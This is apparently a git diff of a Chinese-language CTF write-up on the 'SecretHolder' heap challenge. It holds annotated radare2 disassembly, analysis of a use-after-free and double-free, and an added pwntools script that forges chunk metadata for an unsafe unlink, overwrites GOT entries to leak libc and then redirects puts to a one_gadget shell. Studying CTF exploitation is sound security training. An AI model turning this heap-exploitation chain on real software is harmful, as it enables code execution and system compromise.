| | ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d) | | ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d)
| `-> 0x00400986 lea rax, [local_10h] | `-> 0x00400986 lea rax, [local_10h]
| 0x0040098a mov edx, 4 | 0x0040098a mov edx, 4
@ -118,23 +118,23 @@ Which Secret do you want to wipe?
| 0x004009c3 mov dword [local_14h], eax | 0x004009c3 mov dword [local_14h], eax
| 0x004009c6 mov eax, dword [local_14h] | 0x004009c6 mov eax, dword [local_14h]
| 0x004009c9 cmp eax, 2 ; 2 | 0x004009c9 cmp eax, 2 ; 2
| ,=< 0x004009cc je 0x400a3d | ,=< 0x004009cc je 0x400a3d ; big secret
| | 0x004009ce cmp eax, 3 ; 3 | | 0x004009ce cmp eax, 3 ; 3
| ,==< 0x004009d1 je 0x400a96 | ,==< 0x004009d1 je 0x400a96 ; huge secret
| || 0x004009d7 cmp eax, 1 ; 1 | || 0x004009d7 cmp eax, 1 ; 1
| ,===< 0x004009da je 0x4009e1 | ,===< 0x004009da je 0x4009e1 ; small secret
| ,====< 0x004009dc jmp 0x400aeb | ,====< 0x004009dc jmp 0x400aeb
| |||| ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d) | |||| ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d)
| |`---> 0x004009e1 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0 | |`---> 0x004009e1 mov eax, dword [0x006020e0] ; small_flag表示 small secret 是否已存在
| | || 0x004009e7 test eax, eax | | || 0x004009e7 test eax, eax
| |,===< 0x004009e9 je 0x4009f0 | |,===< 0x004009e9 je 0x4009f0 ; small_flag 0
| ,=====< 0x004009eb jmp 0x400aeb | ,=====< 0x004009eb jmp 0x400aeb
| ||||| ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d) | ||||| ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d)
| ||`---> 0x004009f0 mov esi, 0x28 ; '(' ; 40 | ||`---> 0x004009f0 mov esi, 0x28 ; '(' ; 40
| || || 0x004009f5 mov edi, 1 | || || 0x004009f5 mov edi, 1
| || || 0x004009fa call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | || || 0x004009fa call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间
| || || 0x004009ff mov qword [0x006020d0], rax ; [0x6020d0:8]=0 | || || 0x004009ff mov qword [0x006020d0], rax ; 把地址放到 [0x006020d0]
| || || 0x00400a06 mov dword [0x006020e0], 1 ; [0x6020e0:4]=0 | || || 0x00400a06 mov dword [0x006020e0], 1 ; 设置 small_flag 为 1
| || || 0x00400a10 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | || || 0x00400a10 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
| || || 0x00400a15 call sym.imp.puts ; int puts(const char *s) | || || 0x00400a15 call sym.imp.puts ; int puts(const char *s)
| || || 0x00400a1a mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 | || || 0x00400a1a mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
@ -142,19 +142,19 @@ Which Secret do you want to wipe?
| || || 0x00400a26 mov rsi, rax | || || 0x00400a26 mov rsi, rax
| || || 0x00400a29 mov edi, 0 | || || 0x00400a29 mov edi, 0
| || || 0x00400a2e mov eax, 0 | || || 0x00400a2e mov eax, 0
| || || 0x00400a33 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | || || 0x00400a33 call sym.imp.read ; read(0, [0x006020d0], 0x28) 读入 small secret
| ||,===< 0x00400a38 jmp 0x400aeb | ||,===< 0x00400a38 jmp 0x400aeb
| ||||| ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d) | ||||| ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d)
| ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; [0x6020d8:4]=0 | ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; big_flag表示 big secret 是否已存在
| |||| 0x00400a43 test eax, eax | |||| 0x00400a43 test eax, eax
| ||||,=< 0x00400a45 je 0x400a4c | ||||,=< 0x00400a45 je 0x400a4c ; big_flag 0
| ,======< 0x00400a47 jmp 0x400aeb | ,======< 0x00400a47 jmp 0x400aeb
| |||||| ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d) | |||||| ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d)
| |||||`-> 0x00400a4c mov esi, 0xfa0 ; 4000 | |||||`-> 0x00400a4c mov esi, 0xfa0 ; 4000
| ||||| 0x00400a51 mov edi, 1 | ||||| 0x00400a51 mov edi, 1
| ||||| 0x00400a56 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | ||||| 0x00400a56 call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间
| ||||| 0x00400a5b mov qword [0x006020c0], rax ; [0x6020c0:8]=0 | ||||| 0x00400a5b mov qword [0x006020c0], rax ; 把地址放到 [0x006020c0]
| ||||| 0x00400a62 mov dword [0x006020d8], 1 ; [0x6020d8:4]=0 | ||||| 0x00400a62 mov dword [0x006020d8], 1 ; 设置 big_flag 为 1
| ||||| 0x00400a6c mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||||| 0x00400a6c mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
| ||||| 0x00400a71 call sym.imp.puts ; int puts(const char *s) | ||||| 0x00400a71 call sym.imp.puts ; int puts(const char *s)
| ||||| 0x00400a76 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 | ||||| 0x00400a76 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
@ -162,19 +162,19 @@ Which Secret do you want to wipe?
| ||||| 0x00400a82 mov rsi, rax | ||||| 0x00400a82 mov rsi, rax
| ||||| 0x00400a85 mov edi, 0 | ||||| 0x00400a85 mov edi, 0
| ||||| 0x00400a8a mov eax, 0 | ||||| 0x00400a8a mov eax, 0
| ||||| 0x00400a8f call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||||| 0x00400a8f call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 读入 big secret
| |||||,=< 0x00400a94 jmp 0x400aeb | |||||,=< 0x00400a94 jmp 0x400aeb
| |||||| ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d) | |||||| ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d)
| ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; [0x6020dc:4]=0 | ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; huge_flag表示 huge secret 是否已存在
| |||| | 0x00400a9c test eax, eax | |||| | 0x00400a9c test eax, eax
| ||||,==< 0x00400a9e je 0x400aa2 | ||||,==< 0x00400a9e je 0x400aa2 ; huge_flag 0
| ,=======< 0x00400aa0 jmp 0x400aeb | ,=======< 0x00400aa0 jmp 0x400aeb
| ||||||| ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d) | ||||||| ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d)
| |||||`--> 0x00400aa2 mov esi, 0x61a80 | |||||`--> 0x00400aa2 mov esi, 0x61a80
| ||||| | 0x00400aa7 mov edi, 1 | ||||| | 0x00400aa7 mov edi, 1
| ||||| | 0x00400aac call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | ||||| | 0x00400aac call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间
| ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; [0x6020c8:8]=0 | ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; 把地址放到 [0x006020c8]
| ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; [0x6020dc:4]=0 | ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; 设置 huge_flag 为 1
| ||||| | 0x00400ac2 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||||| | 0x00400ac2 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
| ||||| | 0x00400ac7 call sym.imp.puts ; int puts(const char *s) | ||||| | 0x00400ac7 call sym.imp.puts ; int puts(const char *s)
| ||||| | 0x00400acc mov rax, qword [0x006020c8] ; [0x6020c8:8]=0 | ||||| | 0x00400acc mov rax, qword [0x006020c8] ; [0x6020c8:8]=0
@ -182,7 +182,7 @@ Which Secret do you want to wipe?
| ||||| | 0x00400ad8 mov rsi, rax | ||||| | 0x00400ad8 mov rsi, rax
| ||||| | 0x00400adb mov edi, 0 | ||||| | 0x00400adb mov edi, 0
| ||||| | 0x00400ae0 mov eax, 0 | ||||| | 0x00400ae0 mov eax, 0
| ||||| | 0x00400ae5 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||||| | 0x00400ae5 call sym.imp.read ; read(0, [0x006020c8], 0x61a80) 读入 huge secret
| ||||| | 0x00400aea nop | ||||| | 0x00400aea nop
| ||||| | ; XREFS: JMP 0x004009dc JMP 0x004009eb JMP 0x00400a38 JMP 0x00400a47 JMP 0x00400a94 JMP 0x00400aa0 | ||||| | ; XREFS: JMP 0x004009dc JMP 0x004009eb JMP 0x00400a38 JMP 0x00400a47 JMP 0x00400a94 JMP 0x00400aa0
| `````-`-> 0x00400aeb mov rax, qword [local_8h] | `````-`-> 0x00400aeb mov rax, qword [local_8h]
@ -193,6 +193,17 @@ Which Secret do you want to wipe?
| `-> 0x00400aff leave | `-> 0x00400aff leave
\ 0x00400b00 ret \ 0x00400b00 ret
``` ```
还是一样的,该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunksmall secret 属于 small chunkbig secret 和 huge secret 属于 large chunk。在分配前会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分huge secret 显然受到了特殊处理。
- small secret: small chunk, 40 bytes
- small_ptr: 0x006020d0
- small_flag: 0x006020e0
- big secret: large chunk, 4000 bytes
- big_ptr: 0x006020c0
- big_flag: 0x006020d8
- huge secret: large chunk, 400000 bytes
- huge_ptr: 0x006020c8
- huge_flag: 0x006020dc
#### Wipe secret #### Wipe secret
``` ```
@ -232,21 +243,21 @@ Which Secret do you want to wipe?
| 0x00400b73 mov dword [local_14h], eax | 0x00400b73 mov dword [local_14h], eax
| 0x00400b76 mov eax, dword [local_14h] | 0x00400b76 mov eax, dword [local_14h]
| 0x00400b79 cmp eax, 1 ; 1 | 0x00400b79 cmp eax, 1 ; 1
| ,=< 0x00400b7c je 0x400b85 | ,=< 0x00400b7c je 0x400b85 ; small secret
| | 0x00400b7e cmp eax, 2 ; 2 | | 0x00400b7e cmp eax, 2 ; 2
| ,==< 0x00400b81 je 0x400ba0 | ,==< 0x00400b81 je 0x400ba0 ; big secret
| ,===< 0x00400b83 jmp 0x400bba | ,===< 0x00400b83 jmp 0x400bba
| ||| ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01) | ||| ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01)
| ||`-> 0x00400b85 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 | ||`-> 0x00400b85 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
| || 0x00400b8c mov rdi, rax | || 0x00400b8c mov rdi, rax
| || 0x00400b8f call sym.imp.free ; void free(void *ptr) | || 0x00400b8f call sym.imp.free ; free([0x006020d0]) 释放 small secret
| || 0x00400b94 mov dword [0x006020e0], 0 ; [0x6020e0:4]=0 | || 0x00400b94 mov dword [0x006020e0], 0 ; 设置 small_flag 为 0
| ||,=< 0x00400b9e jmp 0x400bba | ||,=< 0x00400b9e jmp 0x400bba
| ||| ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01) | ||| ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01)
| |`--> 0x00400ba0 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 | |`--> 0x00400ba0 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
| | | 0x00400ba7 mov rdi, rax | | | 0x00400ba7 mov rdi, rax
| | | 0x00400baa call sym.imp.free ; void free(void *ptr) | | | 0x00400baa call sym.imp.free ; free([0x006020c0]) 释放 big secret
| | | 0x00400baf mov dword [0x006020d8], 0 ; [0x6020d8:4]=0 | | | 0x00400baf mov dword [0x006020d8], 0 ; 设置 big_flag 为 0
| | | 0x00400bb9 nop | | | 0x00400bb9 nop
| | | ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01) | | | ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01)
| | | ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01) | | | ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01)
@ -258,6 +269,7 @@ Which Secret do you want to wipe?
| `-> 0x00400bce leave | `-> 0x00400bce leave
\ 0x00400bcf ret \ 0x00400bcf ret
``` ```
该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free然后在释放前也没有检查 flag可能导致 double-free。
#### Renew secret #### Renew secret
``` ```
@ -297,14 +309,14 @@ Which Secret do you want to wipe?
| 0x00400c42 mov dword [local_14h], eax | 0x00400c42 mov dword [local_14h], eax
| 0x00400c45 mov eax, dword [local_14h] | 0x00400c45 mov eax, dword [local_14h]
| 0x00400c48 cmp eax, 1 ; 1 | 0x00400c48 cmp eax, 1 ; 1
| ,=< 0x00400c4b je 0x400c54 | ,=< 0x00400c4b je 0x400c54 ; small secret
| | 0x00400c4d cmp eax, 2 ; 2 | | 0x00400c4d cmp eax, 2 ; 2
| ,==< 0x00400c50 je 0x400c8a | ,==< 0x00400c50 je 0x400c8a ; big secret
| ,===< 0x00400c52 jmp 0x400cbd | ,===< 0x00400c52 jmp 0x400cbd
| ||| ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0) | ||| ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0)
| ||`-> 0x00400c54 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0 | ||`-> 0x00400c54 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0
| || 0x00400c5a test eax, eax | || 0x00400c5a test eax, eax
| ||,=< 0x00400c5c je 0x400c88 | ||,=< 0x00400c5c je 0x400c88 ; small_flag 0 函数返回
| ||| 0x00400c5e mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||| 0x00400c5e mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
| ||| 0x00400c63 call sym.imp.puts ; int puts(const char *s) | ||| 0x00400c63 call sym.imp.puts ; int puts(const char *s)
| ||| 0x00400c68 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 | ||| 0x00400c68 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0
@ -312,14 +324,14 @@ Which Secret do you want to wipe?
| ||| 0x00400c74 mov rsi, rax | ||| 0x00400c74 mov rsi, rax
| ||| 0x00400c77 mov edi, 0 | ||| 0x00400c77 mov edi, 0
| ||| 0x00400c7c mov eax, 0 | ||| 0x00400c7c mov eax, 0
| ||| 0x00400c81 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||| 0x00400c81 call sym.imp.read ; read(0, [0x006020d0], 0x28) 否则读入 small secret
| ,====< 0x00400c86 jmp 0x400cbd | ,====< 0x00400c86 jmp 0x400cbd
| |||| ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0) | |||| ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0)
| ,===`-> 0x00400c88 jmp 0x400cbd | ,===`-> 0x00400c88 jmp 0x400cbd
| |||| ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0) | |||| ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0)
| |||`--> 0x00400c8a mov eax, dword [0x006020d8] ; [0x6020d8:4]=0 | |||`--> 0x00400c8a mov eax, dword [0x006020d8] ; [0x6020d8:4]=0
| ||| 0x00400c90 test eax, eax | ||| 0x00400c90 test eax, eax
| ||| ,=< 0x00400c92 je 0x400cbc | ||| ,=< 0x00400c92 je 0x400cbc ; big_flag 0 函数返回
| ||| | 0x00400c94 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||| | 0x00400c94 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: "
| ||| | 0x00400c99 call sym.imp.puts ; int puts(const char *s) | ||| | 0x00400c99 call sym.imp.puts ; int puts(const char *s)
| ||| | 0x00400c9e mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 | ||| | 0x00400c9e mov rax, qword [0x006020c0] ; [0x6020c0:8]=0
@ -327,7 +339,7 @@ Which Secret do you want to wipe?
| ||| | 0x00400caa mov rsi, rax | ||| | 0x00400caa mov rsi, rax
| ||| | 0x00400cad mov edi, 0 | ||| | 0x00400cad mov edi, 0
| ||| | 0x00400cb2 mov eax, 0 | ||| | 0x00400cb2 mov eax, 0
| ||| | 0x00400cb7 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | ||| | 0x00400cb7 call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 否则读入 big secret
| ||| | ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0) | ||| | ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0)
| ||| `-> 0x00400cbc nop | ||| `-> 0x00400cbc nop
| ||| ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0) | ||| ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0)
@ -341,6 +353,7 @@ Which Secret do you want to wipe?
| `-> 0x00400cd1 leave | `-> 0x00400cd1 leave
\ 0x00400cd2 ret \ 0x00400cd2 ret
``` ```
该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1即 secret 是否已经存在,如果不存在,则读入 secret否则函数直接返回。
## 漏洞利用 ## 漏洞利用

View File

@ -0,0 +1,78 @@
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF('SecretHolder')
libc = ELF('libc.so.6')
small_ptr = 0x006020b0
big_ptr = 0x006020a0
def keep(idx):
io.sendlineafter("Renew secret\n", '1')
io.sendlineafter("Huge secret\n", str(idx))
io.sendafter("secret: \n", 'AAAA')
def wipe(idx):
io.sendlineafter("Renew secret\n", '2')
io.sendlineafter("Huge secret\n", str(idx))
def renew(idx, content):
io.sendlineafter("Renew secret\n", '3')
io.sendlineafter("Huge secret\n", str(idx))
io.sendafter("secret: \n", content)
def unlink():
keep(1)
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(3)
wipe(3)
keep(3) # huge
payload = p64(0) # fake prev_size
payload += p64(0x21) # fake size
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
payload += p64(0x61a90) # fake size
renew(2, payload)
wipe(3) # unsafe unlink
def leak():
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("one_gadget address: 0x%x" % one_gadget)
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
if __name__ == "__main__":
unlink()
leak()
pwn()